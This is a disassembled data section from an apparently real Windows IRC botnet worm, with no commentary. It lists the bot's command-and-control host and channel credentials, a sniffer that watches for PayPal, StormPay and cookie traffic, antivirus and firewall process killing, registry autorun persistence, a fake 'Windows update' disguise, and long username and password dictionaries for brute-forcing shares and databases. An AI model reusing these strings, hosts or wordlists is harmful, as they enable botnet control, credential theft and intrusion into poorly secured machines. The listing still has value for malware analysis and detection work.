align 10h
aWinsys_exe db 'winsys.exe',0 ; DATA XREF: .data:0043BCE8o
align 4
aSsate_exe db 'ssate.exe',0 ; DATA XREF: .data:0043BCECo
align 4
aRate_exe db 'rate.exe',0 ; DATA XREF: .data:0043BCF0o
align 4
aD3dupdate_exe db 'd3dupdate.exe',0 ; DATA XREF: .data:0043BCF4o
align 4
aIrun4_exe db 'irun4.exe',0 ; DATA XREF: .data:0043BCF8o
align 10h
aI11r54n4_exe db 'i11r54n4.exe',0 ; DATA XREF: .data:0043BCFCo
align 10h
aSedebugprivi_1 db 'SeDebugPrivilege',0 ; DATA XREF: sub_40B4F2+5Ao
align 4
aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_40B4F2+17Do
align 10h
aSD_1 db ' %s (%d)',0 ; DATA XREF: sub_40B4F2+18Bo
align 4
aSD_2 db ' %s (%d)',0 ; DATA XREF: sub_40B4F2+19Fo
align 4
aSedebugprivi_2 db 'SeDebugPrivilege',0 ; DATA XREF: sub_40B4F2+207o
align 4
aProcListingPro db '[PROC]: Listing processes:',0 ; DATA XREF: sub_40B735+19o
align 4
aProcProcessLis db '[PROC]: Process list completed.',0 ; DATA XREF: sub_40B735+80o
aProcProcessL_0 db '[PROC]: Process list failed.',0 ; DATA XREF: sub_40B735:loc_40B7BCo
align 4
off_43DF88 dd offset off_43E080 ; DATA XREF: sub_40B86A+29Er
dd offset aHttp_0 ; "HTTP"
aStormpay_com db 'stormpay.com',0 ; DATA XREF: sub_40B86A+1DEo
align 10h
dd 0
dword_43DFA4 dd 3 ; DATA XREF: sub_40B86A+297r
aStormpay_com_0 db 'STORMPAY.COM',0
align 4
dd 0
dd 3, 79616265h, 6D6F632Eh, 3 dup(0)
dd 3, 59414245h, 4D4F432Eh, 3 dup(0)
dd 3, 70796170h, 6C61h, 3 dup(0)
dd 3, 50594150h, 4C41h, 3 dup(0)
dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
dd 3, 6 dup(0)
off_43E080 dd offset byte_435249 ; DATA XREF: .data:off_43DF88o
aHttp_0 db 'HTTP',0 ; DATA XREF: .data:0043DF8Co
align 4
aPsniffErrorSoc db '[PSNIFF]: Error: socket() failed, returned: <%d>.',0
; DATA XREF: sub_40B86A+85o
align 10h
aPsniffErrorBin db '[PSNIFF]: Error: bind() failed, returned: <%d>.',0
; DATA XREF: sub_40B86A+103o
aPsniffErrorWsa db '[PSNIFF]: Error: WSAIoctl() failed, returned: <%d>.',0
; DATA XREF: sub_40B86A+186o
aPsniffErrorRec db '[PSNIFF]: Error: recv() failed, returned: <%d>',0
; DATA XREF: sub_40B86A+2FCo
align 4
aPsniff db '[PSNIFF]',0 ; DATA XREF: sub_40B86A+235o
align 10h
aPsniffSuspicio db '[PSNIFF]: Suspicious %s packet from: %s:%d - %s.',0
; DATA XREF: sub_40B86A+2ABo
align 4
dword_43E194 dd 1B9h ; DATA XREF: sub_40BBCB+519r
; sub_40BBCB+5CCr
dword_43E198 dd 346h ; DATA XREF: sub_40BBCB+618r
dword_43E19C dd 1F41h ; DATA XREF: sub_40C50A:loc_4122D4r
dword_43E1A0 dd 45h ; DATA XREF: sub_402994+3Br
; sub_40C50A+52E7r
dword_43E1A4 dd 50h ; DATA XREF: sub_402994:loc_402C43r
; sub_40C50A:loc_4118E3r
dword_43E1A8 dd 201h ; DATA XREF: sub_40C50A:loc_411A59r
dword_43E1AC dd 1 ; DATA XREF: sub_40C50A+638r
dword_43E1B0 dd 1 ; DATA XREF: sub_40BBCB+13Dr
dword_43E1B4 dd 1 ; DATA XREF: sub_409D2E+Cr
; sub_40BBCB:loc_40BF0Cr
byte_43E1B8 db 7Ah ; DATA XREF: sub_405576:loc_405582r
; sub_40C50A+A7Br ...
align 4
dword_43E1BC dd 5 ; DATA XREF: sub_413532+2Br
; sub_413532+51r ...
dword_43E1C0 dd 1 ; DATA XREF: sub_40C22A+78r
; sub_40C50A+273r ...
dword_43E1C4 dd 1 ; DATA XREF: sub_40C22A+72r
; sub_40C50A+26Dr
aFenr db 'FEnR',0 ; DATA XREF: sub_40BBCB+5Do
; sub_40C50A+3E40o ...
align 10h
aFenr_0 db 'FEnR',0 ; DATA XREF: sub_40C50A:loc_4124E4o
align 4
a19736666386888 db '19736666386888',0 ; DATA XREF: sub_40C50A+6185o
; sub_40C50A+6254o
align 4
aFf_arabHacker_ db 'ff.arab-hacker.org',0 ; DATA XREF: sub_40BBCB+504o
; sub_40BBCB+5BDo
align 4
aFf db '#ff',0 ; DATA XREF: sub_40BBCB+525o
; sub_40BBCB+5D3o
aFuckoff db 'fuckoff',0 ; DATA XREF: sub_40BBCB+53Co
; sub_40BBCB+5E5o
aAmngesiyko_exe db 'amngesiyko.exe',0 ; DATA XREF: sub_40119E+Fo
; .text:00401805o ...
align 4
aMscobngins_dat db 'mscobngins.dat',0 ; DATA XREF: sub_4084C8+3Do
align 4
aWindowsUpdate5 db 'Windows update 55',0 ; DATA XREF: sub_4038C0+Eo
align 4
aFf_2 db '[FF]-',0 ; DATA XREF: sub_413532+12o
align 4
aPay0load db 'pay0load',0
align 10h
asc_43E250 db '+x',0 ; DATA XREF: sub_40C50A+62D4o
align 4
aFf_1 db '#ff-',0 ; DATA XREF: sub_40C50A:loc_40F797o
; sub_40C50A+50A6o ...
align 4
aFfkey db '#ffKey',0 ; DATA XREF: sub_40C50A+1EC0o
align 4
aFa db '#fa',0 ; DATA XREF: sub_40C50A+1C36o
off_43E268 dd offset a@fofo ; DATA XREF: sub_40C50A:loc_4126D9o
; "*@fofo"
off_43E26C dd offset aMircV6_12Khale ; DATA XREF: sub_40C50A+8A0r
; sub_40C50A+61EBo
; "mIRC v6.12 Khaled Mardam-Bey"
dd offset aMircV6_03Khale ; "mIRC v6.03 Khaled Mardam-Bey"
dd offset aMirc32V5_82K_m ; "mIRC32 v5.82 K.Mardam-Bey"
dd offset aMirc32V6_01K_m ; "mIRC32 v6.01 K.Mardam-Bey"
dd offset aMirc32V6_03K_m ; "mIRC32 v6.03 K.Mardam-Bey"
dd offset aMirc32V6_12K_m ; "mIRC32 v6.12 K.Mardam-Bey"
dd offset aMircV5_71K_mar ; "mIRC v5.71 K.Mardam-Bey"
dd offset aMircV5_82K_mar ; "mIRC v5.82 K.Mardam-Bey"
dd offset aMircV6_01K_mar ; "mIRC v6.01 K.Mardam-Bey"
dd offset aMircV6_03K_mar ; "mIRC v6.03 K.Mardam-Bey"
aSoftwareMicr_1 db 'Software\Microsoft\Windows\CurrentVersion\Run',0
align 4
aSoftwareMicr_2 db 'Software\Microsoft\Windows\CurrentVersion\RunServices',0
align 4
aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_413B31+28o
; sub_413E55+28o
align 4
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_413B31+D4o
; sub_413E55+D4o
align 4
dd offset aAdministrato_0 ; "administrator"
dd offset aAdministrador ; "administrador"
dd offset aAdministrateur ; "administrateur"
dd offset aAdministrat ; "administrat"
dd offset aAdmins ; "admins"
dd offset aAdmin ; "admin"
dd offset aStaff ; "staff"
dd offset aRoot ; "root"
dd offset aComputer ; "computer"
dd offset aOwner ; "owner"
dd offset aStudent ; "student"
dd offset aTeacher ; "teacher"
dd offset aWwwadmin ; "wwwadmin"
dd offset aGuest_0 ; "guest"
dd offset aDefault ; "default"
dd offset aDatabase ; "database"
dd offset aDba ; "dba"
dd offset aOracle ; "oracle"
dd offset aDb2 ; "db2"
dd 0
dd offset dword_491D70
dd offset aAdministrato_1 ; "administrator"
dd offset aAdministrado_0 ; "administrador"
dd offset aAdministrate_0 ; "administrateur"
dd offset aAdministrat_0 ; "administrat"
dd offset aAdmins_0 ; "admins"
dd offset aAdmin_0 ; "admin"
dd offset aAdm ; "adm"
dd offset aPassword1 ; "password1"
dd offset aPassword ; "password"
dd offset aPasswd ; "passwd"
dd offset aPass1234 ; "pass1234"
dd offset aPass_0 ; "pass"
dd offset aPwd ; "pwd"
dd offset a007 ; "007"
dd offset a1 ; "1"
dd offset a12 ; "12"
dd offset a123 ; "123"
dd offset a1234 ; "1234"
dd offset a12345 ; "12345"
dd offset a123456 ; "123456"
dd offset a1234567 ; "1234567"
dd offset a12345678 ; "12345678"
dd offset a123456789 ; "123456789"
dd offset a1234567890 ; "1234567890"
dd offset a2000 ; "2000"
dd offset a2001 ; "2001"
dd offset a2002 ; "2002"
dd offset a2003_0 ; "2003"
dd offset a2004 ; "2004"
dd offset aTest ; "test"
dd offset aGuest_1 ; "guest"
dd offset aNone ; "none"
dd offset aDemo ; "demo"
dd offset aUnix ; "unix"
dd offset aLinux ; "linux"
dd offset aChangeme ; "changeme"
dd offset aDefault_0 ; "default"
dd offset aSystem ; "system"
dd offset aServer_4 ; "server"
dd offset aRoot_0 ; "root"
dd offset aNull_1 ; "null"
dd offset aQwerty ; "qwerty"
dd offset aMail ; "mail"
dd offset aOutlook ; "outlook"
dd offset aWeb ; "web"
dd offset aWww ; "www"
dd offset aInternet ; "internet"
dd offset aAccounts ; "accounts"
dd offset aAccounting ; "accounting"
dd offset aHome ; "home"
dd offset aHomeuser ; "homeuser"
dd offset aUser_3 ; "user"
dd offset aOem ; "oem"
dd offset aOemuser ; "oemuser"
dd offset aOeminstall ; "oeminstall"
dd offset aWindows ; "windows"
dd offset aWin98 ; "win98"
dd offset aWin2k ; "win2k"
dd offset aWinxp ; "winxp"
dd offset aWinnt ; "winnt"
dd offset aWin2000 ; "win2000"
dd offset aQaz ; "qaz"
dd offset aAsd ; "asd"
dd offset aZxc ; "zxc"
dd offset aQwe ; "qwe"
dd offset aBob ; "bob"
dd offset aJen ; "jen"
dd offset aJoe ; "joe"
dd offset aFred ; "fred"
dd offset aBill ; "bill"
dd offset aMike ; "mike"
dd offset aJohn ; "john"
dd offset aPeter ; "peter"
dd offset aLuke ; "luke"
dd offset aSam ; "sam"
dd offset aSue ; "sue"
dd offset aSusan ; "susan"
dd offset aPeter_0 ; "peter"
dd offset aBrian ; "brian"
dd offset aLee ; "lee"
dd offset aNeil ; "neil"
dd offset aIan ; "ian"
dd offset aChris ; "chris"
dd offset aEric ; "eric"
dd offset aGeorge ; "george"
dd offset aKate ; "kate"
dd offset aBob_0 ; "bob"
dd offset aKatie ; "katie"
dd offset aMary ; "mary"
dd offset aLogin ; "login"
dd offset aLoginpass ; "loginpass"
dd offset aTechnical ; "technical"
dd offset aBackup ; "backup"
dd offset aExchange ; "exchange"
dd offset aFuck ; "fuck"
dd offset aBitch ; "bitch"
dd offset aSlut ; "slut"
dd offset aSex ; "sex"
dd offset aGod ; "god"
dd offset aHell ; "hell"
dd offset aHello ; "hello"
dd offset aDomain ; "domain"
dd offset aDomainpass ; "domainpass"
dd offset aDomainpassword ; "domainpassword"
dd offset aDatabase_0 ; "database"
dd offset aAccess ; "access"
dd offset aDbpass ; "dbpass"
dd offset aDbpassword ; "dbpassword"
dd offset aDatabasepass ; "databasepass"
dd offset aData ; "data"
dd offset aDatabasepasswo ; "databasepassword"
dd offset aDb1 ; "db1"
dd offset aDb2_0 ; "db2"
dd offset aDb1234 ; "db1234"
dd offset aSa ; "sa"
dd offset aSql ; "sql"
dd offset aSqlpassoainsta ; "sqlpassoainstall"
dd offset aOrainstall ; "orainstall"
dd offset aOracle_0 ; "oracle"
dd offset aIbm ; "ibm"
dd offset aCisco ; "cisco"
dd offset aDell ; "dell"
dd offset aCompaq ; "compaq"
dd offset aSiemens ; "siemens"
dd offset aHp ; "hp"
dd offset aNokia ; "nokia"
dd offset aXp_1 ; "xp"
dd offset aControl ; "control"
dd offset aOffice ; "office"
dd offset aBlank ; "blank"
dd offset aWinpass ; "winpass"
dd offset aMain ; "main"
dd offset aLan_0 ; "lan"
dd offset aInternet_0 ; "internet"
dd offset aIntranet ; "intranet"
dd offset aStudent_0 ; "student"
dd offset aTeacher_0 ; "teacher"
dd offset aStaff_0 ; "staff"
dd 0
dword_43E5BC dd 10h ; DATA XREF: sub_4034E9+72w
; sub_40C50A+AE5r ...
a@fofo db '*@fofo',0 ; DATA XREF: .data:off_43E268o
align 4
aMircV6_12Khale db 'mIRC v6.12 Khaled Mardam-Bey',0 ; DATA XREF: .data:off_43E26Co
align 4
aMircV6_03Khale db 'mIRC v6.03 Khaled Mardam-Bey',0 ; DATA XREF: .data:0043E270o
align 4
aMirc32V5_82K_m db 'mIRC32 v5.82 K.Mardam-Bey',0 ; DATA XREF: .data:0043E274o
align 4
aMirc32V6_01K_m db 'mIRC32 v6.01 K.Mardam-Bey',0 ; DATA XREF: .data:0043E278o
align 10h
aMirc32V6_03K_m db 'mIRC32 v6.03 K.Mardam-Bey',0 ; DATA XREF: .data:0043E27Co
align 4
aMirc32V6_12K_m db 'mIRC32 v6.12 K.Mardam-Bey',0 ; DATA XREF: .data:0043E280o
align 4
aMircV5_71K_mar db 'mIRC v5.71 K.Mardam-Bey',0 ; DATA XREF: .data:0043E284o
aMircV5_82K_mar db 'mIRC v5.82 K.Mardam-Bey',0 ; DATA XREF: .data:0043E288o
aMircV6_01K_mar db 'mIRC v6.01 K.Mardam-Bey',0 ; DATA XREF: .data:0043E28Co
aMircV6_03K_mar db 'mIRC v6.03 K.Mardam-Bey',0 ; DATA XREF: .data:0043E290o
aAdministrato_0 db 'administrator',0 ; DATA XREF: .data:0043E33Co
align 4
aAdministrador db 'administrador',0 ; DATA XREF: .data:0043E340o
align 4
aAdministrateur db 'administrateur',0 ; DATA XREF: .data:0043E344o
align 4
aAdministrat db 'administrat',0 ; DATA XREF: .data:0043E348o
aAdmins db 'admins',0 ; DATA XREF: .data:0043E34Co
align 4
aAdmin db 'admin',0 ; DATA XREF: .data:0043E350o
align 4
aStaff db 'staff',0 ; DATA XREF: .data:0043E354o
align 4
aRoot db 'root',0 ; DATA XREF: .data:0043E358o
align 4
aComputer db 'computer',0 ; DATA XREF: .data:0043E35Co
align 10h
aOwner db 'owner',0 ; DATA XREF: .data:0043E360o
align 4
aStudent db 'student',0 ; DATA XREF: .data:0043E364o
aTeacher db 'teacher',0 ; DATA XREF: .data:0043E368o
aWwwadmin db 'wwwadmin',0 ; DATA XREF: .data:0043E36Co
align 4
aGuest_0 db 'guest',0 ; DATA XREF: .data:0043E370o
align 4
aDefault db 'default',0 ; DATA XREF: .data:0043E374o
aDatabase db 'database',0 ; DATA XREF: .data:0043E378o
align 10h
aDba db 'dba',0 ; DATA XREF: .data:0043E37Co
aOracle db 'oracle',0 ; DATA XREF: .data:0043E380o
align 4
aDb2 db 'db2',0 ; DATA XREF: .data:0043E384o
aAdministrato_1 db 'administrator',0 ; DATA XREF: .data:0043E390o
align 10h
aAdministrado_0 db 'administrador',0 ; DATA XREF: .data:0043E394o
align 10h
aAdministrate_0 db 'administrateur',0 ; DATA XREF: .data:0043E398o
align 10h
aAdministrat_0 db 'administrat',0 ; DATA XREF: .data:0043E39Co
aAdmins_0 db 'admins',0 ; DATA XREF: .data:0043E3A0o
align 4
aAdmin_0 db 'admin',0 ; DATA XREF: .data:0043E3A4o
align 4
aAdm db 'adm',0 ; DATA XREF: .data:0043E3A8o
aPassword1 db 'password1',0 ; DATA XREF: .data:0043E3ACo
align 4
aPassword db 'password',0 ; DATA XREF: .data:0043E3B0o
align 4
aPasswd db 'passwd',0 ; DATA XREF: .data:0043E3B4o
align 10h
aPass1234 db 'pass1234',0 ; DATA XREF: .data:0043E3B8o
align 4
aPass_0 db 'pass',0 ; DATA XREF: .data:0043E3BCo
align 4
aPwd db 'pwd',0 ; DATA XREF: .data:0043E3C0o
a007 db '007',0 ; DATA XREF: .data:0043E3C4o
a1: ; DATA XREF: .data:0043E3C8o
unicode 0, <1>,0
a12 db '12',0 ; DATA XREF: .data:0043E3CCo
align 4
a123 db '123',0 ; DATA XREF: .data:0043E3D0o
a1234 db '1234',0 ; DATA XREF: .data:0043E3D4o
align 10h
a12345 db '12345',0 ; DATA XREF: .data:0043E3D8o
align 4
a123456 db '123456',0 ; DATA XREF: .data:0043E3DCo
align 10h
a1234567 db '1234567',0 ; DATA XREF: .data:0043E3E0o
a12345678 db '12345678',0 ; DATA XREF: .data:0043E3E4o
align 4
a123456789 db '123456789',0 ; DATA XREF: .data:0043E3E8o
align 10h
a1234567890 db '1234567890',0 ; DATA XREF: .data:0043E3ECo
align 4
a2000 db '2000',0 ; DATA XREF: .data:0043E3F0o
align 4
a2001 db '2001',0 ; DATA XREF: .data:0043E3F4o
align 4
a2002 db '2002',0 ; DATA XREF: .data:0043E3F8o
align 4
a2003_0 db '2003',0 ; DATA XREF: .data:0043E3FCo
align 4
a2004 db '2004',0 ; DATA XREF: .data:0043E400o
align 4
aTest db 'test',0 ; DATA XREF: .data:0043E404o
align 4
aGuest_1 db 'guest',0 ; DATA XREF: .data:0043E408o
align 4
aNone db 'none',0 ; DATA XREF: .data:0043E40Co
align 4
aDemo db 'demo',0 ; DATA XREF: .data:0043E410o
align 4
aUnix db 'unix',0 ; DATA XREF: .data:0043E414o
align 4
aLinux db 'linux',0 ; DATA XREF: .data:0043E418o
align 4
aChangeme db 'changeme',0 ; DATA XREF: .data:0043E41Co
align 10h
aDefault_0 db 'default',0 ; DATA XREF: .data:0043E420o
aSystem db 'system',0 ; DATA XREF: .data:0043E424o
align 10h
aServer_4 db 'server',0 ; DATA XREF: .data:0043E428o
align 4
aRoot_0 db 'root',0 ; DATA XREF: .data:0043E42Co
align 10h
aNull_1 db 'null',0 ; DATA XREF: .data:0043E430o
align 4
aQwerty db 'qwerty',0 ; DATA XREF: .data:0043E434o
align 10h
aMail db 'mail',0 ; DATA XREF: .data:0043E438o
align 4
aOutlook db 'outlook',0 ; DATA XREF: .data:0043E43Co
aWeb db 'web',0 ; DATA XREF: .data:0043E440o
aWww db 'www',0 ; DATA XREF: .data:0043E444o
aInternet db 'internet',0 ; DATA XREF: .data:0043E448o
align 4
aAccounts db 'accounts',0 ; DATA XREF: .data:0043E44Co
align 10h
aAccounting db 'accounting',0 ; DATA XREF: .data:0043E450o
align 4
aHome db 'home',0 ; DATA XREF: .data:0043E454o
align 4
aHomeuser db 'homeuser',0 ; DATA XREF: .data:0043E458o
align 10h
aUser_3 db 'user',0 ; DATA XREF: .data:0043E45Co
align 4
aOem db 'oem',0 ; DATA XREF: .data:0043E460o
aOemuser db 'oemuser',0 ; DATA XREF: .data:0043E464o
aOeminstall db 'oeminstall',0 ; DATA XREF: .data:0043E468o
align 10h
aWindows db 'windows',0 ; DATA XREF: .data:0043E46Co
aWin98 db 'win98',0 ; DATA XREF: .data:0043E470o
align 10h
aWin2k db 'win2k',0 ; DATA XREF: .data:0043E474o
align 4
aWinxp db 'winxp',0 ; DATA XREF: .data:0043E478o
align 10h
aWinnt db 'winnt',0 ; DATA XREF: .data:0043E47Co
align 4
aWin2000 db 'win2000',0 ; DATA XREF: .data:0043E480o
aQaz db 'qaz',0 ; DATA XREF: .data:0043E484o
aAsd db 'asd',0 ; DATA XREF: .data:0043E488o
aZxc db 'zxc',0 ; DATA XREF: .data:0043E48Co
aQwe db 'qwe',0 ; DATA XREF: .data:0043E490o
aBob db 'bob',0 ; DATA XREF: .data:0043E494o
aJen db 'jen',0 ; DATA XREF: .data:0043E498o
aJoe db 'joe',0 ; DATA XREF: .data:0043E49Co
aFred db 'fred',0 ; DATA XREF: .data:0043E4A0o
align 4
aBill db 'bill',0 ; DATA XREF: .data:0043E4A4o
align 4
aMike db 'mike',0 ; DATA XREF: .data:0043E4A8o
align 4
aJohn db 'john',0 ; DATA XREF: .data:0043E4ACo
align 4
aPeter db 'peter',0 ; DATA XREF: .data:0043E4B0o
align 4
aLuke db 'luke',0 ; DATA XREF: .data:0043E4B4o
align 4
aSam db 'sam',0 ; DATA XREF: .data:0043E4B8o
aSue db 'sue',0 ; DATA XREF: .data:0043E4BCo
aSusan db 'susan',0 ; DATA XREF: .data:0043E4C0o
align 4
aPeter_0 db 'peter',0 ; DATA XREF: .data:0043E4C4o
align 4
aBrian db 'brian',0 ; DATA XREF: .data:0043E4C8o
align 4
aLee db 'lee',0 ; DATA XREF: .data:0043E4CCo
aNeil db 'neil',0 ; DATA XREF: .data:0043E4D0o
align 4
aIan db 'ian',0 ; DATA XREF: .data:0043E4D4o
aChris db 'chris',0 ; DATA XREF: .data:0043E4D8o
align 4
aEric db 'eric',0 ; DATA XREF: .data:0043E4DCo
align 4
aGeorge db 'george',0 ; DATA XREF: .data:0043E4E0o
align 4
aKate db 'kate',0 ; DATA XREF: .data:0043E4E4o
align 4
aBob_0 db 'bob',0 ; DATA XREF: .data:0043E4E8o
aKatie db 'katie',0 ; DATA XREF: .data:0043E4ECo
align 4
aMary db 'mary',0 ; DATA XREF: .data:0043E4F0o
align 10h
aLogin db 'login',0 ; DATA XREF: .data:0043E4F4o
align 4
aLoginpass db 'loginpass',0 ; DATA XREF: .data:0043E4F8o
align 4
aTechnical db 'technical',0 ; DATA XREF: .data:0043E4FCo
align 10h
aBackup db 'backup',0 ; DATA XREF: .data:0043E500o
align 4
aExchange db 'exchange',0 ; DATA XREF: .data:0043E504o
align 4
aFuck db 'fuck',0 ; DATA XREF: .data:0043E508o
align 4
aBitch db 'bitch',0 ; DATA XREF: .data:0043E50Co
align 4
aSlut db 'slut',0 ; DATA XREF: .data:0043E510o
align 4
aSex db 'sex',0 ; DATA XREF: .data:0043E514o
aGod db 'god',0 ; DATA XREF: .data:0043E518o
aHell db 'hell',0 ; DATA XREF: .data:0043E51Co
align 4
aHello db 'hello',0 ; DATA XREF: .data:0043E520o
align 4
aDomain db 'domain',0 ; DATA XREF: .data:0043E524o
align 4
aDomainpass db 'domainpass',0 ; DATA XREF: .data:0043E528o
align 4
aDomainpassword db 'domainpassword',0 ; DATA XREF: .data:0043E52Co
align 4
aDatabase_0 db 'database',0 ; DATA XREF: .data:0043E530o
align 4
aAccess db 'access',0 ; DATA XREF: .data:0043E534o
align 4
aDbpass db 'dbpass',0 ; DATA XREF: .data:0043E538o
align 4
aDbpassword db 'dbpassword',0 ; DATA XREF: .data:0043E53Co
align 10h
aDatabasepass db 'databasepass',0 ; DATA XREF: .data:0043E540o
align 10h
aData db 'data',0 ; DATA XREF: .data:0043E544o
align 4
aDatabasepasswo db 'databasepassword',0 ; DATA XREF: .data:0043E548o
align 4
aDb1 db 'db1',0 ; DATA XREF: .data:0043E54Co
aDb2_0 db 'db2',0 ; DATA XREF: .data:0043E550o
aDb1234 db 'db1234',0 ; DATA XREF: .data:0043E554o
align 4
aSa db 'sa',0 ; DATA XREF: .data:0043E558o
align 10h
aSql db 'sql',0 ; DATA XREF: .data:0043E55Co
aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: .data:0043E560o
align 4
aOrainstall db 'orainstall',0 ; DATA XREF: .data:0043E564o
align 4
aOracle_0 db 'oracle',0 ; DATA XREF: .data:0043E568o
align 4
aIbm db 'ibm',0 ; DATA XREF: .data:0043E56Co
aCisco db 'cisco',0 ; DATA XREF: .data:0043E570o
align 4
aDell db 'dell',0 ; DATA XREF: .data:0043E574o
align 10h
aCompaq db 'compaq',0 ; DATA XREF: .data:0043E578o
align 4
aSiemens db 'siemens',0 ; DATA XREF: .data:0043E57Co
aHp db 'hp',0 ; DATA XREF: .data:0043E580o
align 4
aNokia db 'nokia',0 ; DATA XREF: .data:0043E584o
align 4
aXp_1 db 'xp',0 ; DATA XREF: .data:0043E588o
align 10h
aControl db 'control',0 ; DATA XREF: .data:0043E58Co
aOffice db 'office',0 ; DATA XREF: .data:0043E590o
align 10h
aBlank db 'blank',0 ; DATA XREF: .data:0043E594o
align 4
aWinpass db 'winpass',0 ; DATA XREF: .data:0043E598o
aMain db 'main',0 ; DATA XREF: .data:0043E59Co
align 4
aLan_0 db 'lan',0 ; DATA XREF: .data:0043E5A0o
aInternet_0 db 'internet',0 ; DATA XREF: .data:0043E5A4o
align 4
aIntranet db 'intranet',0 ; DATA XREF: .data:0043E5A8o
align 4
aStudent_0 db 'student',0 ; DATA XREF: .data:0043E5ACo
aTeacher_0 db 'teacher',0 ; DATA XREF: .data:0043E5B0o
aStaff_0 db 'staff',0 ; DATA XREF: .data:0043E5B4o
align 4
aSS_8 db '%s%s',0 ; DATA XREF: sub_40BBCB+10Do
align 4
aSS_9 db '%s\%s',0 ; DATA XREF: sub_40BBCB+189o
align 4
aSDS db '%s %d "%s"',0 ; DATA XREF: sub_40BBCB+28Fo
align 4
aMainBotStarted db '[MAIN]: Bot started.',0 ; DATA XREF: sub_40BBCB+364o
align 10h
aProcsAvFwKille db '[PROCS]: AV/FW Killer active.',0 ; DATA XREF: sub_40BBCB+39Fo
align 10h
aProcsFailedToS db '[PROCS]: Failed to start AV/FW killer thread, error: <%d>.',0
; DATA XREF: sub_40BBCB+3F0o
align 4
aSecureRegistry db '[SECURE]: Registry monitor active.',0 ; DATA XREF: sub_40BBCB+410o
align 10h
aSecureFailedTo db '[SECURE]: Failed to start registry thread, error: <%d>.',0
; DATA XREF: sub_40BBCB+463o
aIdentdServerRu db '[IDENTD]: Server running on Port: 113.',0 ; DATA XREF: sub_40BBCB+490o
align 10h
aIdentdFailedTo db '[IDENTD]: Failed to start server, error: <%d>.',0
; DATA XREF: sub_40BBCB+4DBo
align 10h
aMainConnectedT db '[MAIN]: Connected to %s.',0 ; DATA XREF: sub_40C22A+F2o
align 4
aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_40C392+35o
align 4
aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_40C392+62o
db 'USER %s 0 0 :%s',0Dh,0Ah,0
align 4
asc_43ED84 db ' :',0 ; DATA XREF: sub_40C50A+86o
align 4
asc_43ED88: ; DATA XREF: sub_40C50A+AEo
unicode 0, < >,0
asc_43ED8C: ; DATA XREF: sub_40C50A:loc_40C5D5o
unicode 0, < >,0
asc_43ED90: ; DATA XREF: sub_40C50A+191o
unicode 0, <!>,0
aPing db 'PING',0 ; DATA XREF: sub_40C50A+1A0o
align 4
aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_40C50A+1BAo
align 4
aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40C50A+1DBo
align 4
a001 db '001',0 ; DATA XREF: sub_40C50A+1F7o
a005 db '005',0 ; DATA XREF: sub_40C50A+20Co
aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40C50A+62C7o
align 10h
aModeSS db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40C50A+62DCo
align 10h
aJoinSS_4 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40C50A+62EFo
align 10h
a302 db '302',0 ; DATA XREF: sub_40C50A+221o
a@: ; DATA XREF: sub_40C50A+231o
unicode 0, <@>,0
a433 db '433',0 ; DATA XREF: sub_40C50A+25Co
aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_40C50A+284o
align 4
aKick db 'KICK',0 ; DATA XREF: sub_40C50A+2DBo
align 10h
aMainUserSLogge db '[MAIN]: User %s logged out.',0 ; DATA XREF: sub_40C50A+34Co
aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40C50A+365o
aJoinSS_0 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40C50A+3AFo
align 4
aNick db 'NICK',0 ; DATA XREF: sub_40C50A+3C2o
align 4
aSS_10 db ':%s%s',0 ; DATA XREF: sub_40C50A+4E5o
align 4
aPart db 'PART',0 ; DATA XREF: sub_40C50A+50Do
align 4
aQuit_0 db 'QUIT',0 ; DATA XREF: sub_40C50A+51Eo
align 4
aMainUserSLog_0 db '[MAIN]: User: %s logged out.',0 ; DATA XREF: sub_40C50A+5B6o
align 4
aPart_0 db 'PART',0 ; DATA XREF: sub_40C50A+5D3o
align 4
aNoticeSS_0 db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40C50A+5F7o
a353 db '353',0 ; DATA XREF: sub_40C50A+55Fo
aMainJoinedChan db '[MAIN]: Joined channel: %s.',0 ; DATA XREF: sub_40C50A+596o
aPrivmsg_0 db 'PRIVMSG',0 ; DATA XREF: sub_40C50A+602o
aNotice_0 db 'NOTICE',0 ; DATA XREF: sub_40C50A+613o
align 4
a332 db '332',0 ; DATA XREF: sub_40C50A+624o
aPrivmsg_1 db 'PRIVMSG',0 ; DATA XREF: sub_40C50A+645o
aNotice_1 db 'NOTICE',0 ; DATA XREF: sub_40C50A+65Ao
align 4
aNotice_2 db 'NOTICE',0 ; DATA XREF: sub_40C50A+7D5o
align 10h
asc_43EEF0: ; DATA XREF: sub_40C50A+7FAo
unicode 0, <#>,0
dword_43EEF4 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_40C50A+882o
dword_43EF00 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
; DATA XREF: sub_40C50A+8ADo
dd 0D017325h, 0Ah
dword_43EF1C dd 4E495001h, 47h ; DATA XREF: sub_40C50A+8B8o
dword_43EF24 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
; DATA XREF: sub_40C50A+8E9o
dd 0A0Dh
dword_43EF3C dd 43434401h, 0 ; DATA XREF: sub_40C50A+6A4o
aSend_0 db 'SEND',0 ; DATA XREF: sub_40C50A+6C2o
align 4
aS_9 db '%s',0 ; DATA XREF: sub_40C50A+6EFo
align 10h
aS_10 db '%s',0 ; DATA XREF: sub_40C50A+707o
align 4
